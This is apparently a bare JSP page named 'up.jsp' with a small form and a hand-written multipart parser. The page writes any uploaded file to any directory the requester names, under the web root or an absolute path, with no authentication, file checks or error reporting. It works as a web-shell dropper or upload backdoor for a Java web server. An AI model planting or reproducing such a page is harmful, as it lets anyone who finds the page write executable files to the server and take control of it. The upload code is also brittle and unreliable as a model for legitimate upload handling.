<%@ page import="java.io.*"%>
<%@ page import="java.util.*"%>
<%
class MyUpload {
public void run2(HttpServletRequest request) {
HashMap inputHm = new HashMap();
String characterEncoding = null;
String filename = null;
ServletInputStream is_ = null;
try {
String contentType = request.getContentType();
if (contentType != null
&& contentType.indexOf("multipart/form-data") != -1) {
String boundary = contentType.substring(contentType
.lastIndexOf("=") + 1, contentType.length());
byte readByte[] = new byte[1024];
is_ = request.getInputStream();
int[] readCount = { -1 };
String line = readLine(readByte, readCount, is_,
characterEncoding);
while (line != null && readCount[0] >= 0) {
int i = line.indexOf("filename=");
if (i > -1) {
filename = line.substring(line.lastIndexOf("\\") + 1,
line.lastIndexOf("\""));
line = readLine(readByte, readCount, is_,
characterEncoding);
line = readLine(readByte, readCount, is_,
characterEncoding);
String rootpath = (String) inputHm.get("rootpath");
if (rootpath == null) {
rootpath = "0/0";
}
if (rootpath.startsWith("0/")) {
ServletContext pageContext = request.getSession()
.getServletContext();
rootpath = pageContext.getRealPath("/")
+ rootpath.substring(2, rootpath.length());
}
if (!rootpath.endsWith("/")) {
rootpath = rootpath + "/";
}
File fileDir = new File(rootpath);
if (!fileDir.exists()) {
fileDir.mkdirs();
}
FileOutputStream os_ = new FileOutputStream(rootpath
+ filename);
line = readLine(readByte, readCount, is_,
characterEncoding);
while (line != null && readCount[0] >= 0) {
if (line.indexOf(boundary) != -1
&& (readCount[0] == 44
|| readCount[0] == 45
|| readCount[0] == 46
|| readCount[0] == 47
|| readCount[0] == 48 || readCount[0] == 49)) {
os_.close();
break;
}
os_.write(readByte, 0, readCount[0]);
os_.flush();
line = readLine(readByte, readCount, is_,
characterEncoding);
}
}
int j = line.indexOf("name=\"");
if (j > 0 && i < 0) {
String inputName = line.substring(j + 6,
line.length() - 3);
line = readLine(readByte, readCount, is_,
characterEncoding);
line = readLine(readByte, readCount, is_,
characterEncoding);
String inputContent = line.substring(0,
line.length() - 2);
inputHm.put(inputName, inputContent);
}
line = readLine(readByte, readCount, is_, characterEncoding);
}
}
} catch (Exception e) {
} finally {
try {
is_.close();
} catch (Exception f) {
}
}
}
private String readLine(byte readByte[], int readCount[],
ServletInputStream servletInputStream, String CharacterEncoding) {
try {
readCount[0] = servletInputStream.readLine(readByte, 0,
readByte.length);
if (readCount[0] == -1) {
return null;
}
} catch (IOException ex) {
return null;
}
try {
if (CharacterEncoding == null)
return new String(readByte, 0, readCount[0]);
else
return new String(readByte, 0, readCount[0], CharacterEncoding);
} catch (Exception e) {
return null;
}
}
}
MyUpload mu = new MyUpload();
mu.run2(request);
%>
<html>
<head>
<title>up</title>
</head>
<body>
<form action="up.jsp" enctype="multipart/form-data" method=post>
path<input type="text" name="rootpath" value="0/0/" />
file<input type="file" name="filename" /> <input type="submit" value="up" />
</form>
</body>
</html>